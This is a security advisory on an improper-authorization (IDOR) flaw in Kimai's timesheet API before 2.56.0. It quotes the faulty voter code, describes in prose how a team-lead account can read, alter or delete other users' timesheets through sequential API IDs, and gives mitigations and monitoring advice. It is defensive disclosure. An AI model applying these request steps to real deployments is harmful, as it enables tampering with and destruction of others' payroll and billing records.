GHSA-9G2Q-W3W2-VF7Q: Improper Authorization and IDOR in Kimai Timesheet Management

Kimai is an open-source time-tracking application. Version releases prior to 2.56.0 contain an Improper Authorization vulnerability identified as GHSA-9G2Q-W3W2-VF7Q. This vulnerability functions as an Insecure Direct Object Reference (IDOR) flaw within the timesheet management API. Authenticated users can manipulate timesheet records belonging to other users regardless of team assignments.

The core of this vulnerability resides in the TimesheetVoter class. Kimai utilizes a voter system to enforce fine-grained authorization rules across specific application resources. The voter determines whether a user holds the necessary permissions to read, modify, or delete a target timesheet. The vulnerable implementation fails to enforce team-scoped boundaries during this authorization check.

Exploitation requires an authenticated session with the ROLE_TEAMLEAD privilege. This role receives global edit_other_timesheet and delete_other_timesheet permissions by default. Because the authorization logic lacks relationship validation, attackers can issue API requests against any timesheet ID in the database. The system processes these requests as authorized actions.

The attack vector operates entirely over the network and requires no user interaction. The vulnerability exposes sensitive billing data and enables destructive actions against payroll records. Organizations utilizing Kimai for multi-tenant or cross-departmental time tracking face lateral data exposure.

The logical flaw exists within the TimesheetVoter::voteOnAttribute() method. This function evaluates authorization requests against timesheet objects. The code branches its logic based on a direct comparison between the timesheet owner's user ID and the authenticated requester's user ID.

When the user IDs match, the voter appends the own suffix to the requested permission. When the IDs differ, the voter appends the other suffix. Maintainer comments within the vulnerable codebase explicitly state that team support required future implementation. This omission leaves the other permission context completely unrestricted.

Kimai assigns the ROLE_TEAMLEAD role specific privileges designed for team management. These privileges include edit_other_timesheet and delete_other_timesheet. The TimesheetVoter evaluates the presence of these privileges but fails to verify if the target user operates within a team managed by the team lead.

This missing contextual validation breaks the intended authorization model. The framework confirms the user possesses the other permission globally and approves the request. The application processes the operation without enforcing the hierarchical boundaries required by the organizational structure.

Analysis of the TimesheetVoter.php file highlights the insufficient validation logic. The code implements a strict binary ownership check. It queries the timesheet subject for its associated user ID and compares it against the requester.

The vulnerable logic evaluates the relationship without querying team associations. The implementation assigns the other permission for any non-matching user ID.

// src/Timesheet/Voter/TimesheetVoter.php
 
// maintainer comment: "extend me for 'team' support later on"
if ($subject->getUser()?->getId() === $user->getId()) {
    $permission .= 'own';
} else {
    $permission .= 'other';
}

The remediation deployed in version 2.56.0 introduces the necessary contextual relationship verification. The patch updates the TimesheetVoter to query the team structures before authorizing the other permission. This ensures the requester explicitly manages the target user's team.

By replacing the binary ownership check with a comprehensive team validation, the patch correctly isolates tenant data. The ROLE_TEAMLEAD permissions now strictly apply to users within the authenticated administrator's defined groups. This structural change neutralizes the lateral manipulation vector.

Exploitation relies on interacting with the Kimai REST API. The attacker must possess an active API token or session authenticated with the ROLE_TEAMLEAD role. The application uses sequential integer values for timesheet IDs, which simplifies the discovery of valid target records.

To extract unauthorized data, the attacker transmits an HTTP GET request to /api/timesheets/{id}. The server evaluates the request, validates the global read permissions, and returns the complete timesheet object. This response discloses scheduling data, project mappings, and user identifiers associated with completely distinct teams.

Data manipulation occurs via HTTP PATCH requests directed at the predictable timesheet endpoints. The attacker constructs a JSON payload containing modified duration values or billable status flags. The application accepts the payload, updates the database record, and returns an HTTP 200 OK status.

Destructive operations leverage HTTP DELETE requests against the target resource. The server validates the delete_other_timesheet permission and executes the deletion query against the underlying database. The API returns an HTTP 204 No Content response, confirming the permanent removal of the billing record.

The vulnerability causes a high integrity impact across the application ecosystem. Attackers can arbitrarily modify hours logged by unrelated employees. This tampering invalidates client invoicing, corrupts internal payroll processing, and destroys the accuracy of project tracking metrics.

While the assigned CVSS v4.0 vector indicates no confidentiality impact, practical exploitation proves otherwise. The proof-of-concept demonstrates full read access to timesheet details via the API. Attackers can map out organizational structures, view individual work patterns, and extract sensitive project metadata.

The availability impact manifests as unauthorized data destruction. Attackers can systematically delete timesheet records across the entire database. Recovering from these destructive operations requires significant administrative overhead to restore records from database backups.

This flaw completely subverts the multi-tenant architecture intended for Kimai deployments. Organizations relying on team isolation to separate distinct clients or isolated departments are entirely exposed. Internal users with intermediate privileges can execute lateral attacks against the entire system architecture.

The definitive mitigation requires upgrading the Kimai installation to version 2.56.0. This release contains the corrected TimesheetVoter implementation. The patch successfully enforces team-scoped boundaries during authorization checks.

Organizations unable to immediately apply the update must implement configuration changes. Administrators must audit all user accounts holding the ROLE_TEAMLEAD role. This privilege must be restricted to highly trusted administrators until the software update is deployed.

Administrators can temporarily modify the global permission matrix to mitigate the threat. Revoking the edit_other_timesheet and delete_other_timesheet permissions from the ROLE_TEAMLEAD profile prevents unauthorized modifications. This change restricts users to managing only their personally owned records.

Security teams should implement monitoring for the /api/timesheets/ endpoints. Analyzing API access logs for sequential ID requests identifies automated enumeration attempts. Alerting on ROLE_TEAMLEAD users accessing cross-team records provides visibility into active exploitation.